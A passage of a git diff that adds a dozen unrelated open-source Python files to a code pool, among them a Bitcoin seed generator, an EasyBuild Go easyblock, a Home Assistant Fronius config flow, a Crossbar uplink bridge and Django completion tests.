8) + sub[x].append(val & 0xff) + nullbytes = 16 - len(sub[0]) - len(sub[1]) + assert((x == 0 and nullbytes == 0) or (x == 1 and nullbytes > 0)) + return bytearray(sub[0] + ([0] * nullbytes) + sub[1]) + elif addr.startswith('0x'): # IPv4-in-little-endian + return pchIPv4 + bytearray(reversed(a2b_hex(addr[2:]))) + else: + raise ValueError('Could not parse address %s' % addr) + +def parse_spec(s, defaultport): + match = re.match('\[([0-9a-fA-F:]+)\](?::([0-9]+))?$', s) + if match: # ipv6 + host = match.group(1) + port = match.group(2) + else: + (host,_,port) = s.partition(':') + + if not port: + port = defaultport + else: + port = int(port) + + host = name_to_ipv6(host) + + return (host,port) + +def process_nodes(g, f, structname, defaultport): + g.write('static SeedSpec6 %s[] = {\n' % structname) + first = True + for line in f: + comment = line.find('#') + if comment != -1: + line = line[0:comment] + line = line.strip() + if not line: + continue + if not first: + g.write(',\n') + first = False + + (host,port) = parse_spec(line, defaultport) + hoststr = ','.join(('0x%02x' % b) for b in host) + g.write(' {{%s}, %i}' % (hoststr, port)) + g.write('\n};\n') + +def main(): + if len(sys.argv)<2: + print(('Usage: %s ' % sys.argv[0]), file=sys.stderr) + exit(1) + g = sys.stdout + indir = sys.argv[1] + g.write('#ifndef H_CHAINPARAMSSEEDS\n') + g.write('#define H_CHAINPARAMSSEEDS\n') + g.write('/**\n') + g.write(' * List of fixed seed nodes for the bitcoin network\n') + g.write(' * AUTOGENERATED by share/seeds/generate-seeds.py\n') + g.write(' *\n') + g.write(' * Each line contains a 16-byte IPv6 address and a port.\n') + g.write(' * IPv4 as well as onion addresses are wrapped inside a IPv6 address accordingly.\n') + g.write(' */\n') + with open(os.path.join(indir,'nodes_main.txt'),'r') as f: + process_nodes(g, f, 'pnSeed6_main', 3764) + g.write('\n') + with open(os.path.join(indir,'nodes_test.txt'),'r') as f: + process_nodes(g, f, 'pnSeed6_test', 13764) + g.write('#endif\n') + +if __name__ == '__main__': + main() + diff --git a/pool/shard009/Python/0083380_go.py b/pool/shard009/Python/0083380_go.py new file mode 100644 index 0000000000000000000000000000000000000000..64bbc2e34aa9be967809de777a30f2191329f16c --- /dev/null +++ b/pool/shard009/Python/0083380_go.py @@ -0,0 +1,69 @@ +## +# Copyright 2014 Ghent University +# +# This file is part of EasyBuild, +# originally created by the HPC team of Ghent University (http://ugent.be/hpc/en), +# with support of Ghent University (http://ugent.be/hpc), +# the Flemish Supercomputer Centre (VSC) (https://vscentrum.be/nl/en), +# the Hercules foundation (http://www.herculesstichting.be/in_English) +# and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en). +# +# http://github.com/hpcugent/easybuild +# +# EasyBuild is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation v2. +# +# EasyBuild is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with EasyBuild. If not, see . +## +""" +EasyBuild support for building and installing Go, implemented as an easyblock + +@author: Adam DeConinck (NVIDIA) +@author: Kenneth Hoste (HPC-UGent) +""" +import os +import shutil + +from easybuild.easyblocks.generic.configuremake import ConfigureMake +from easybuild.tools.filetools import rmtree2, run_cmd + +class EB_Go(ConfigureMake): + """ + Build Go compiler + """ + def configure_step(self): + """No dedicated configure step.""" + pass + + def build_step(self): + """No dedicated build step, building & installing is done in one go.""" + pass + + def install_step(self): + """ + Execute the all.bash script to build and install the Go compiler, + specifying the final installation prefix by setting $GOROOT_FINAL. + """ + srcdir = os.path.join(self.cfg['start_dir'], 'src') + try: + os.chdir(srcdir) + except OSError, err: + self.log.error("Failed to move to %s: %s" % (srcdir, err)) + + # $GOROOT_FINAL only specifies the location of the final installation, which gets baked into the binaries + # the installation itself is *not* done by the all.bash script, that needs to be done manually + cmd = "GOROOT_FINAL=%s ./all.bash" % self.installdir + run_cmd(cmd, log_all=True, simple=False) + + try: + rmtree2(self.installdir) + shutil.copytree(self.cfg['start_dir'], self.installdir, symlinks=self.cfg['keepsymlinks']) + except OSError, err: + self.log.error("Failed to copy installation to %s: %s" % (self.installdir, err)) diff --git a/pool/shard009/Python/0083381_services.py b/pool/shard009/Python/0083381_services.py new file mode 100644 index 0000000000000000000000000000000000000000..0db7971cdef1cb2bb6be452f618ab2f001e263aa --- /dev/null +++ b/pool/shard009/Python/0083381_services.py @@ -0,0 +1,112 @@ +# -*- coding: utf-8 -*- +import attr + +from cfme.utils.appliance.plugin import AppliancePlugin +from cfme.utils.appliance.plugin import AppliancePluginException +from cfme.utils.log import logger_wrap +from cfme.utils.quote import quote +from cfme.utils.wait import wait_for + + +class SystemdException(AppliancePluginException): + pass + + +@attr.s +class SystemdService(AppliancePlugin): + unit_name = attr.ib(type=str) + + @logger_wrap('SystemdService command runner: {}') + def _run_service_command( + self, + command, + expected_exit_code=None, + unit_name=None, + log_callback=None + ): + """Wrapper around running the command and raising exception on unexpected code + + Args: + command: string command for systemd (stop, start, restart, etc) + expected_exit_code: the exit code to expect, otherwise raise + unit_name: optional unit name, defaults to self.unit_name attribute + log_callback: logger to log against + + Raises: + SystemdException: When expected_exit_code is not matched + """ + unit = self.unit_name if unit_name is None else unit_name + with self.appliance.ssh_client as ssh: + cmd = 'systemctl {} {}'.format(quote(command), quote(unit)) + log_callback('Running {}'.format(cmd)) + result = ssh.run_command(cmd, + container=self.appliance.ansible_pod_name) + + if expected_exit_code is not None and result.rc != expected_exit_code: + # TODO: Bring back address + msg = 'Failed to {} {}\nError: {}'.format( + command, self.unit_name, result.output) + if log_callback: + log_callback(msg) + else: + self.logger.error(msg) + raise SystemdException(msg) + return result + + def stop(self, log_callback=None): + return self._run_service_command( + 'stop', + expected_exit_code=0, + log_callback=log_callback + ) + + def start(self, log_callback=None): + return self._run_service_command( + 'start', + expected_exit_code=0, + log_callback=log_callback + ) + + def restart(self, log_callback=None): + return self._run_service_command( + 'restart', + expected_exit_code=0, + log_callback=log_callback + ) + + def enable(self, log_callback=None): + return self._run_service_command( + 'enable', + expected_exit_code=0, + log_callback=log_callback + ) + + @property + def enabled(self): + return self._run_service_command('is-enabled').rc == 0 + + @property + def is_active(self): + return self._run_service_command('is-active').rc == 0 + + @property + def running(self): + return self._run_service_command("status").rc == 0 + + def wait_for_running(self, timeout=600): + result, wait = wait_for( + lambda: self.running, + num_sec=timeout, + fail_condition=False, + delay=5, + ) + return result + + def daemon_reload(self, log_callback=None): + """Call daemon-reload, no unit name for this""" + return self._run_service_command( + command='daemon-reload', + expected_exit_code=0, + unit_name='', + log_callback=log_callback + ) diff --git a/pool/shard009/Python/0083386_0009_auto_20150529_1413.py b/pool/shard009/Python/0083386_0009_auto_20150529_1413.py new file mode 100644 index 0000000000000000000000000000000000000000..1f58bd311f40f122db16b3b48e08cbc1b14ceeaf --- /dev/null +++ b/pool/shard009/Python/0083386_0009_auto_20150529_1413.py @@ -0,0 +1,33 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations +from django.db import models + + +class Migration(migrations.Migration): + + dependencies = [ + ('orchestra', '0008_auto_20150520_1953'), + ] + + operations = [ + migrations.AlterField( + model_name='certification', + name='required_certifications', + field=models.ManyToManyField( + blank=True, to='orchestra.Certification', related_name='required_certifications_rel_+'), + ), + migrations.AlterField( + model_name='task', + name='step_slug', + field=models.CharField(max_length=200, choices=[ + ('content_extraction', ' Content Extraction'), ('copy_pass', 'Copy Pass')]), + ), + migrations.AlterField( + model_name='worker', + name='user', + field=models.OneToOneField(on_delete=models.CASCADE, to=settings.AUTH_USER_MODEL), + ), + ] diff --git a/pool/shard009/Python/0083388_deoplete_emoji.py b/pool/shard009/Python/0083388_deoplete_emoji.py new file mode 100644 index 0000000000000000000000000000000000000000..596289492e3c0452673795eec55c6493a74ce41b --- /dev/null +++ b/pool/shard009/Python/0083388_deoplete_emoji.py @@ -0,0 +1,47 @@ +from pathlib import Path +import sys + +from deoplete.base.source import Base +from emoji.unicode_codes.en import EMOJI_ALIAS_UNICODE_ENGLISH + +sys.path.append(str(Path(__file__).absolute().parent.parent.parent)) + + +class Source(Base): + MAX_CANDIDATES_PER_GROUP = 5 + + def __init__(self, vim): + super().__init__(vim) + self.name = "emoji" + self.mark = "[emoji]" + self.rank = 500 + self.filetypes = ["markdown"] + self.input_pattern = r":[a-z_]+:?" + self.is_volatile = True + self.matcher_key = "match" + self.matchers = ["matcher_full_fuzzy"] + self.sorters = ["sorter_rank"] + + def get_complete_position(self, context): + if context["input"].endswith(":"): + return context["input"].rfind(":", 0, -1) + else: + return context["input"].rfind(":") + + def gather_candidates(self, context): + text: str + if context["input"].endswith(":"): + text = ":" + context["input"].split(":")[-2].strip() + ":" + if text in EMOJI_ALIAS_UNICODE_ENGLISH: + return [ + {"word": EMOJI_ALIAS_UNICODE_ENGLISH[text], "kind": "[alias]", "match": text} + ] + else: + return [] + else: + out = [] + text = ":" + context["input"].split(":")[-1].strip() + for k, v in EMOJI_ALIAS_UNICODE_ENGLISH.items(): + if k.startswith(text): + out.append({"word": v, "kind": "[alias]", "match": k}) + return out diff --git a/pool/shard009/Python/0083390_fx_dialog.py b/pool/shard009/Python/0083390_fx_dialog.py new file mode 100644 index 0000000000000000000000000000000000000000..bd1f6f1f0f93d450fd72f04330a271ebd58764e4 --- /dev/null +++ b/pool/shard009/Python/0083390_fx_dialog.py @@ -0,0 +1,109 @@ +from kivy.app import App +from kivy.factory import Factory +from kivy.properties import ObjectProperty +from kivy.lang import Builder + +Builder.load_string(''' + + id: popup + title: 'Fiat Currency' + size_hint: 0.8, 0.8 + pos_hint: {'top':0.9} + BoxLayout: + orientation: 'vertical' + + Widget: + size_hint: 1, 0.1 + + BoxLayout: + orientation: 'horizontal' + size_hint: 1, 0.1 + Label: + text: _('Currency') + height: '48dp' + Spinner: + height: '48dp' + id: ccy + on_text: popup.on_currency(self.text) + + Widget: + size_hint: 1, 0.1 + + BoxLayout: + orientation: 'horizontal' + size_hint: 1, 0.1 + Label: + text: _('Source') + height: '48dp' + Spinner: + height: '48dp' + id: exchanges + on_text: popup.on_exchange(self.text) + + Widget: + size_hint: 1, 0.2 + + BoxLayout: + orientation: 'horizontal' + size_hint: 1, 0.2 + Button: + text: 'Cancel' + size_hint: 0.5, None + height: '48dp' + on_release: popup.dismiss() + Button: + text: 'OK' + size_hint: 0.5, None + height: '48dp' + on_release: + root.callback() + popup.dismiss() +''') + + +from kivy.uix.label import Label +from kivy.uix.checkbox import CheckBox +from kivy.uix.widget import Widget +from kivy.clock import Clock + +from electrum_arg_gui.kivy.i18n import _ +from functools import partial + +class FxDialog(Factory.Popup): + + def __init__(self, app, plugins, config, callback): + Factory.Popup.__init__(self) + self.app = app + self.config = config + self.callback = callback + self.fx = self.app.fx + self.fx.set_history_config(True) + self.add_currencies() + + def add_exchanges(self): + exchanges = sorted(self.fx.get_exchanges_by_ccy(self.fx.get_currency(), True)) if self.fx.is_enabled() else [] + mx = self.fx.exchange.name() if self.fx.is_enabled() else '' + ex = self.ids.exchanges + ex.values = exchanges + ex.text = (mx if mx in exchanges else exchanges[0]) if self.fx.is_enabled() else '' + + def on_exchange(self, text): + if not text: + return + if self.fx.is_enabled() and text != self.fx.exchange.name(): + self.fx.set_exchange(text) + + def add_currencies(self): + currencies = [_('None')] + self.fx.get_currencies(True) + my_ccy = self.fx.get_currency() if self.fx.is_enabled() else _('None') + self.ids.ccy.values = currencies + self.ids.ccy.text = my_ccy + + def on_currency(self, ccy): + b = (ccy != _('None')) + self.fx.set_enabled(b) + if b: + if ccy != self.fx.get_currency(): + self.fx.set_currency(ccy) + self.app.fiat_unit = ccy + Clock.schedule_once(lambda dt: self.add_exchanges()) diff --git a/pool/shard009/Python/0083394_config_flow.py b/pool/shard009/Python/0083394_config_flow.py new file mode 100644 index 0000000000000000000000000000000000000000..00ddd9335a3cb2f8b32918fb3ef5738ec0cc1fd3 --- /dev/null +++ b/pool/shard009/Python/0083394_config_flow.py @@ -0,0 +1,157 @@ +"""Config flow for Fronius integration.""" +from __future__ import annotations + +import asyncio +import logging +from typing import Any, Final + +from pyfronius import Fronius, FroniusError +import voluptuous as vol + +from homeassistant import config_entries +from homeassistant.components.dhcp import DhcpServiceInfo +from homeassistant.const import CONF_HOST, CONF_RESOURCE +from homeassistant.core import HomeAssistant +from homeassistant.data_entry_flow import FlowResult +from homeassistant.exceptions import HomeAssistantError +from homeassistant.helpers.aiohttp_client import async_get_clientsession + +from .const import DOMAIN, FroniusConfigEntryData + +_LOGGER: Final = logging.getLogger(__name__) + +DHCP_REQUEST_DELAY: Final = 60 + +STEP_USER_DATA_SCHEMA = vol.Schema( + { + vol.Required(CONF_HOST): str, + } +) + + +def create_title(info: FroniusConfigEntryData) -> str: + """Return the title of the config flow.""" + return ( + f"SolarNet {'Datalogger' if info['is_logger'] else 'Inverter'}" + f" at {info['host']}" + ) + + +async def validate_host( + hass: HomeAssistant, host: str +) -> tuple[str, FroniusConfigEntryData]: + """Validate the user input allows us to connect. + + Data has the keys from STEP_USER_DATA_SCHEMA with values provided by the user. + """ + fronius = Fronius(async_get_clientsession(hass), host) + + try: + datalogger_info: dict[str, Any] + datalogger_info = await fronius.current_logger_info() + except FroniusError as err: + _LOGGER.debug(err) + else: + logger_uid: str = datalogger_info["unique_identifier"]["value"] + return logger_uid, FroniusConfigEntryData( + host=host, + is_logger=True, + ) + # Gen24 devices don't provide GetLoggerInfo + try: + inverter_info = await fronius.inverter_info() + first_inverter = next(inverter for inverter in inverter_info["inverters"]) + except FroniusError as err: + _LOGGER.debug(err) + raise CannotConnect from err + except StopIteration as err: + raise CannotConnect("No supported Fronius SolarNet device found.") from err + first_inverter_uid: str = first_inverter["unique_id"]["value"] + return first_inverter_uid, FroniusConfigEntryData( + host=host, + is_logger=False, + ) + + +class ConfigFlow(config_entries.ConfigFlow, domain=DOMAIN): + """Handle a config flow for Fronius.""" + + VERSION = 1 + + def __init__(self) -> None: + """Initialize flow.""" + self.info: FroniusConfigEntryData + + async def async_step_user( + self, user_input: dict[str, Any] | None = None + ) -> FlowResult: + """Handle the initial step.""" + if user_input is None: + return self.async_show_form( + step_id="user", data_schema=STEP_USER_DATA_SCHEMA + ) + + errors = {} + + try: + unique_id, info = await validate_host(self.hass, user_input[CONF_HOST]) + except CannotConnect: + errors["base"] = "cannot_connect" + except Exception: # pylint: disable=broad-except + _LOGGER.exception("Unexpected exception") + errors["base"] = "unknown" + else: + await self.async_set_unique_id(unique_id, raise_on_progress=False) + self._abort_if_unique_id_configured(updates=dict(info)) + + return self.async_create_entry(title=create_title(info), data=info) + + return self.async_show_form( + step_id="user", data_schema=STEP_USER_DATA_SCHEMA, errors=errors + ) + + async def async_step_import(self, conf: dict) -> FlowResult: + """Import a configuration from config.yaml.""" + return await self.async_step_user(user_input={CONF_HOST: conf[CONF_RESOURCE]}) + + async def async_step_dhcp(self, discovery_info: DhcpServiceInfo) -> FlowResult: + """Handle a flow initiated by the DHCP client.""" + for entry in self._async_current_entries(include_ignore=False): + if entry.data[CONF_HOST].lstrip("http://").rstrip("/").lower() in ( + discovery_info.ip, + discovery_info.hostname, + ): + return self.async_abort(reason="already_configured") + # Symo Datalogger devices need up to 1 minute at boot from DHCP request + # to respond to API requests (connection refused until then) + await asyncio.sleep(DHCP_REQUEST_DELAY) + try: + unique_id, self.info = await validate_host(self.hass, discovery_info.ip) + except CannotConnect: + return self.async_abort(reason="invalid_host") + + await self.async_set_unique_id(unique_id, raise_on_progress=False) + self._abort_if_unique_id_configured(updates=dict(self.info)) + + return await self.async_step_confirm_discovery() + + async def async_step_confirm_discovery( + self, user_input: dict[str, Any] | None = None + ) -> FlowResult: + """Attempt to confirm.""" + title = create_title(self.info) + if user_input is not None: + return self.async_create_entry(title=title, data=self.info) + + self._set_confirm_only() + self.context.update({"title_placeholders": {"device": title}}) + return self.async_show_form( + step_id="confirm_discovery", + description_placeholders={ + "device": title, + }, + ) + + +class CannotConnect(HomeAssistantError): + """Error to indicate we cannot connect.""" diff --git a/pool/shard009/Python/0083398_geocode_to_csv.py b/pool/shard009/Python/0083398_geocode_to_csv.py new file mode 100644 index 0000000000000000000000000000000000000000..53e6d911c2e925b75247f6ad6d9face120c3ffc2 --- /dev/null +++ b/pool/shard009/Python/0083398_geocode_to_csv.py @@ -0,0 +1,68 @@ +# geocoding with geopy +# from address field in one csv into new csv with X,Y fields +# also outputs table of any records that failed + +import csv +import os +import time +from geopy.geocoders import GoogleV3 + +# input csv dir/name.csv +csv_in = 'path/in.csv' + +# output csv dir/name.csv +csv_out = 'path/geocoded.csv' +csv_out_fail = 'path/fail.csv' + + +# name of geocoding service +geolocator = GoogleV3() + +# outputs +out_table = [] +fail_table = [] + +with open(csv_in, 'r') as csvfile: + reader = csv.reader(csvfile) + for row in reader: + header = row + break + counter = 0 + for row in reader: + if row != header: + try: + address = row[2] + ", " + row[3] + ", " + row[15] # will be different for each csv - choose wisely + print address + time.sleep(1) + location = geolocator.geocode(address, timeout=60) + if location is None: + location = geolocator.geocode(row[15], timeout=60) # just geocode postal code + lat = location.latitude + lon = location.longitude + print lon, lat + + out_row = row + [lon,lat] + + out_table.append(out_row) + + except: + print 'FAIL' + fail_table.append(row) + + counter += 1 + +# write outputs to file + +with open(csv_out, 'w') as csvw: + writer = csv.writer(csvw) + for row in out_table: + writer.writerow(row) + + +with open(csv_out_fail, 'w') as csvw: + writer = csv.writer(csvw) + for row in fail_table: + writer.writerow(row) + +# print those that fail +print len(fail_table) diff --git a/pool/shard009/Python/0083400_references_api.py b/pool/shard009/Python/0083400_references_api.py new file mode 100644 index 0000000000000000000000000000000000000000..547e391720675b408263036ab5842a0b1f8755d4 --- /dev/null +++ b/pool/shard009/Python/0083400_references_api.py @@ -0,0 +1,54 @@ +from werkzeug.exceptions import Gone +from flask import Blueprint, g +from restpager import Pager + +from storyweb import authz +from storyweb.model import db, Card, Reference +from storyweb.util import jsonify, obj_or_404, request_data + + +blueprint = Blueprint('references_api', __name__) + + +@blueprint.route('/api/1/cards//references', methods=['GET']) +def index(card_id): + authz.require(authz.logged_in()) + card = obj_or_404(Card.by_id(card_id)) + references = db.session.query(Reference) + references = references.filter(Reference.card == card) + pager = Pager(references, card_id=card_id) + return jsonify(pager, index=True) + + +@blueprint.route('/api/1/cards//references', methods=['POST', 'PUT']) +def create(card_id): + authz.require(authz.logged_in()) + card = obj_or_404(Card.by_id(card_id)) + reference = Reference().save(request_data(), card, g.user) + db.session.commit() + return jsonify(reference, status=201) + + +@blueprint.route('/api/1/cards//references/', methods=['GET']) +def view(card_id, id): + authz.require(authz.logged_in()) + reference = obj_or_404(Reference.by_id(id, card_id=card_id)) + return jsonify(reference) + + +@blueprint.route('/api/1/cards//references/', methods=['POST', 'PUT']) +def update(card_id, id): + authz.require(authz.logged_in()) + reference = obj_or_404(Reference.by_id(id, card_id=card_id)) + reference.save(request_data(), reference.card, g.user) + db.session.commit() + return jsonify(reference) + + +@blueprint.route('/api/1/cards//references/', methods=['DELETE']) +def delete(card_id, id): + authz.require(authz.logged_in()) + reference = obj_or_404(Reference.by_id(id, card_id=card_id)) + db.session.delete(reference) + db.session.commit() + raise Gone() diff --git a/pool/shard009/Python/0083404_uplink.py b/pool/shard009/Python/0083404_uplink.py new file mode 100644 index 0000000000000000000000000000000000000000..3a662b64ab579f0e05527ee38cb6d78657e3935c --- /dev/null +++ b/pool/shard009/Python/0083404_uplink.py @@ -0,0 +1,206 @@ +##################################################################################### +# +# Copyright (c) Crossbar.io Technologies GmbH +# +# Unless a separate license agreement exists between you and Crossbar.io GmbH (e.g. +# you have purchased a commercial license), the license terms below apply. +# +# Should you enter into a separate license agreement after having received a copy of +# this software, then the terms of such license agreement replace the terms below at +# the time at which such license agreement becomes effective. +# +# In case a separate license agreement ends, and such agreement ends without being +# replaced by another separate license agreement, the license terms below apply +# from the time at which said agreement ends. +# +# LICENSE TERMS +# +# This program is free software: you can redistribute it and/or modify it under the +# terms of the GNU Affero General Public License, version 3, as published by the +# Free Software Foundation. This program is distributed in the hope that it will be +# useful, but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# +# See the GNU Affero General Public License Version 3 for more details. +# +# You should have received a copy of the GNU Affero General Public license along +# with this program. If not, see . +# +##################################################################################### + +from __future__ import absolute_import + +from twisted.internet.defer import Deferred, inlineCallbacks + +from autobahn.wamp import auth +from autobahn.wamp.types import SubscribeOptions, PublishOptions +from autobahn.twisted.wamp import ApplicationSession, ApplicationRunner + +from txaio import make_logger + +__all__ = ('LocalSession',) + + +class BridgeSession(ApplicationSession): + + log = make_logger() + + @inlineCallbacks + def _setup_event_forwarding(self, other): + + self.log.info("setup event forwarding between {me} and {other} ..", me=self, other=other) + + self._subs = {} + + # listen to when new subscriptions are created on the router + # + @inlineCallbacks + def on_subscription_create(sub_id, sub_details, details=None): + self.log.info( + "Subscription created: {me} {sub_id} {sub_details} {details}", + me=self, + sub_id=sub_id, + sub_details=sub_details, + details=details, + ) + + self._subs[sub_id] = sub_details + + uri = sub_details['uri'] + + def on_event(*args, **kwargs): + details = kwargs.pop('details') + # FIXME: setup things so out (the node's) identity gets disclosed + self.publish(uri, *args, options=PublishOptions(), **kwargs) + self.log.info( + "forwarded from {other} event to {me} ({dir}): args={args}, details={details}", + other=other, + me=self, + dir=self._DIR, + args=args, + details=details, + ) + + sub = yield other.subscribe(on_event, uri, options=SubscribeOptions(details_arg="details")) + self._subs[sub_id]['sub'] = sub + + self.log.info("{other} subscribed to {me}".format(other=other, me=uri)) + + yield self.subscribe(on_subscription_create, u"wamp.subscription.on_create", options=SubscribeOptions(details_arg="details")) + + # listen to when a subscription is removed from the router + # + @inlineCallbacks + def on_subscription_delete(session_id, sub_id, details=None): + self.log.info( + "Subscription deleted: {me} {session} {sub_id} {details}", + me=self, + session=session_id, + sub_id=sub_id, + details=details, + ) + + sub_details = self._subs.get(sub_id, None) + if not sub_details: + self.log.info("subscription not tracked - huh??") + return + + uri = sub_details['uri'] + + yield self._subs[sub_id]['sub'].unsubscribe() + + del self._subs[sub_id] + + self.log.info("{other} unsubscribed from {uri}".format(other=other, uri=uri)) + + yield self.subscribe(on_subscription_delete, u"wamp.subscription.on_delete", options=SubscribeOptions(details_arg="details")) + + # get current subscriptions on the router + # + subs = yield self.call(u"wamp.subscription.list") + for sub_id in subs['exact']: + sub = yield self.call(u"wamp.subscription.get", sub_id) + yield on_subscription_create(sub['id'], sub) + + self.log.info("event forwarding setup done.") + + +class LocalSession(BridgeSession): + """ + This session is the local leg of the router uplink and runs embedded inside the local router. + """ + + log = make_logger() + + _DIR = "=>" + + @inlineCallbacks + def onJoin(self, details): + uplink_config = self.config.extra['uplink'] + uplink_realm = details.realm + uplink_transport = uplink_config['transport'] + + extra = { + 'onready': Deferred(), + 'local': self, + } + runner = ApplicationRunner(url=uplink_transport['url'], realm=uplink_realm, extra=extra) + yield runner.run(RemoteSession, start_reactor=False) + + edge_session = yield extra['onready'] + + yield self._setup_event_forwarding(edge_session) + + if self.config.extra and 'onready' in self.config.extra: + self.config.extra['onready'].callback(self) + + +class RemoteSession(BridgeSession): + """ + This session is the remote leg of the router uplink. + """ + + log = make_logger() + + _DIR = "<=" + + def onConnect(self): + self.log.info("Uplink connected") + + realm = self.config.realm + authid = self.config.extra.get('authid', None) + if authid: + self.log.debug("Uplink - joining realm '{realm}' as '{authid}' ..", realm=realm, authid=authid) + self.join(realm, [u"wampcra"], authid) + else: + self.log.debug("Uplink - joining realm '{realm}' ..", realm=realm) + self.join(realm) + + def onChallenge(self, challenge): + if challenge.method == u"wampcra": + authkey = self.config.extra['authkey'].encode('utf8') + signature = auth.compute_wcs(authkey, challenge.extra['challenge'].encode('utf8')) + return signature.decode('ascii') + else: + raise Exception("don't know how to compute challenge for authmethod {}".format(challenge.method)) + + @inlineCallbacks + def onJoin(self, details): + self.log.info("Uplink joined realm '{realm}' on uplink router", realm=details.realm) + + yield self._setup_event_forwarding(self.config.extra['local']) + + if self.config.extra and 'onready' in self.config.extra: + self.config.extra['onready'].callback(self) + + self.log.info("Uplink ready.") + + def onLeave(self, details): + if details.reason != u"wamp.close.normal": + self.log.warn("Uplink left: {defailts}", details=details) + else: + self.log.debug("Uplink detached: {details}", details=details) + self.disconnect() + + def onDisconnect(self): + self.log.info("Uplink disconnected") diff --git a/pool/shard009/Python/0083412_cmdline.py b/pool/shard009/Python/0083412_cmdline.py new file mode 100644 index 0000000000000000000000000000000000000000..ab02144ae7f28db6385909cc6382a55c90ef9ee8 --- /dev/null +++ b/pool/shard009/Python/0083412_cmdline.py @@ -0,0 +1,97 @@ +from __future__ import unicode_literals +import os +import sys +import tempfile + +# Importing from green (other than config) is done after coverage initialization +import green.config as config + + +def _main(argv, testing): + args = config.parseArguments(argv) + args = config.mergeConfig(args, testing) + + if args.shouldExit: + return args.exitCode + + # Clear out all the passed-in-options just in case someone tries to run a + # test that assumes sys.argv is clean. I can't guess at the script name + # that they want, though, so we'll just leave ours. + sys.argv = sys.argv[:1] + + # Set up our various main objects + from green.loader import GreenTestLoader, getCompletions + from green.runner import run + from green.output import GreenStream, debug + import green.output + from green.suite import GreenTestSuite + + GreenTestSuite.args = args + + if args.debug: + green.output.debug_level = args.debug + + stream = GreenStream(sys.stdout, disable_windows=args.disable_windows) + + # Location of shell completion file + if args.completion_file: + print(os.path.join(os.path.dirname(__file__), "shell_completion.sh")) + return 0 + + # Argument-completion for bash and zsh (for test-target completion) + if args.completions: + print(getCompletions(args.targets)) + return 0 + + # Option-completion for bash and zsh + if args.options: + print("\n".join(sorted(args.store_opt.options))) + return 0 + + # Add debug logging for stuff that happened before this point here + if config.files_loaded: + debug("Loaded config file(s): {}".format(", ".join(config.files_loaded))) + + # Discover/Load the test suite + if testing: + test_suite = None + else: # pragma: no cover + loader = GreenTestLoader() + test_suite = loader.loadTargets(args.targets, file_pattern=args.file_pattern) + + # We didn't even load 0 tests... + if not test_suite: + debug("No test loading attempts succeeded. Created an empty test suite.") + test_suite = GreenTestSuite() + + # Actually run the test_suite + result = run(test_suite, stream, args, testing) + + # Generate a test report if required + if args.junit_report: + from green.junit import JUnitXML + + adapter = JUnitXML() + with open(args.junit_report, "w") as report_file: + adapter.save_as(result, report_file) + + return int(not result.wasSuccessful()) + + +def main(argv=None, testing=False): + # create the temp dir only once (i.e., not while in the recursed call) + if os.environ.get("TMPDIR") is None: # pragma: nocover + with tempfile.TemporaryDirectory() as temp_dir_for_tests: + try: + os.environ["TMPDIR"] = temp_dir_for_tests + tempfile.tempdir = temp_dir_for_tests + return _main(argv, testing) + finally: + del os.environ["TMPDIR"] + tempfile.tempdir = None + else: + return _main(argv, testing) + + +if __name__ == "__main__": # pragma: no cover + sys.exit(main()) diff --git a/pool/shard009/Python/0083413_tests.py b/pool/shard009/Python/0083413_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..4fdb793feb0b8fa46885e0024c77ba774566fc79 --- /dev/null +++ b/pool/shard009/Python/0083413_tests.py @@ -0,0 +1,88 @@ +""" +A series of tests to establish that the command-line bash completion works. +""" +import os +import sys + +from django.conf import settings +from django.core.management import ManagementUtility +from django.utils import unittest +from django.utils.six import StringIO + + +class BashCompletionTests(unittest.TestCase): + """ + Testing the Python level bash completion code. + This requires setting up the environment as if we got passed data + from bash. + """ + + def setUp(self): + self.old_DJANGO_AUTO_COMPLETE = os.environ.get('DJANGO_AUTO_COMPLETE') + os.environ['DJANGO_AUTO_COMPLETE'] = '1' + self.output = StringIO() + self.old_stdout = sys.stdout + sys.stdout = self.output + + def tearDown(self): + sys.stdout = self.old_stdout + if self.old_DJANGO_AUTO_COMPLETE: + os.environ['DJANGO_AUTO_COMPLETE'] = self.old_DJANGO_AUTO_COMPLETE + else: + del os.environ['DJANGO_AUTO_COMPLETE'] + + def _user_input(self, input_str): + os.environ['COMP_WORDS'] = input_str + os.environ['COMP_CWORD'] = str(len(input_str.split()) - 1) + sys.argv = input_str.split(' ') + + def _run_autocomplete(self): + util = ManagementUtility(argv=sys.argv) + try: + util.autocomplete() + except SystemExit: + pass + return self.output.getvalue().strip().split('\n') + + def test_django_admin_py(self): + "django_admin.py will autocomplete option flags" + self._user_input('django-admin.py sqlall --v') + output = self._run_autocomplete() + self.assertEqual(output, ['--verbosity=']) + + def test_manage_py(self): + "manage.py will autocomplete option flags" + self._user_input('manage.py sqlall --v') + output = self._run_autocomplete() + self.assertEqual(output, ['--verbosity=']) + + def test_custom_command(self): + "A custom command can autocomplete option flags" + self._user_input('django-admin.py test_command --l') + output = self._run_autocomplete() + self.assertEqual(output, ['--list']) + + def test_subcommands(self): + "Subcommands can be autocompleted" + self._user_input('django-admin.py sql') + output = self._run_autocomplete() + self.assertEqual(output, ['sql sqlall sqlclear sqlcustom sqldropindexes sqlflush sqlindexes sqlinitialdata sqlsequencereset']) + + def test_help(self): + "No errors, just an empty list if there are no autocomplete options" + self._user_input('django-admin.py help --') + output = self._run_autocomplete() + self.assertEqual(output, ['']) + + def test_runfcgi(self): + "Command arguments will be autocompleted" + self._user_input('django-admin.py runfcgi h') + output = self._run_autocomplete() + self.assertEqual(output, ['host=']) + + def test_app_completion(self): + "Application names will be autocompleted for an AppCommand" + self._user_input('django-admin.py sqlall a') + output = self._run_autocomplete() + app_labels = [name.split('.')[-1] for name in settings.INSTALLED_APPS] + self.assertEqual(output, sorted(label for label in app_labels if label.startswith('a'))) diff --git a/pool/shard009/Python/0083418_contributors.py b/pool/shard009/Python/0083418_contributors.py new file mode 100644 index 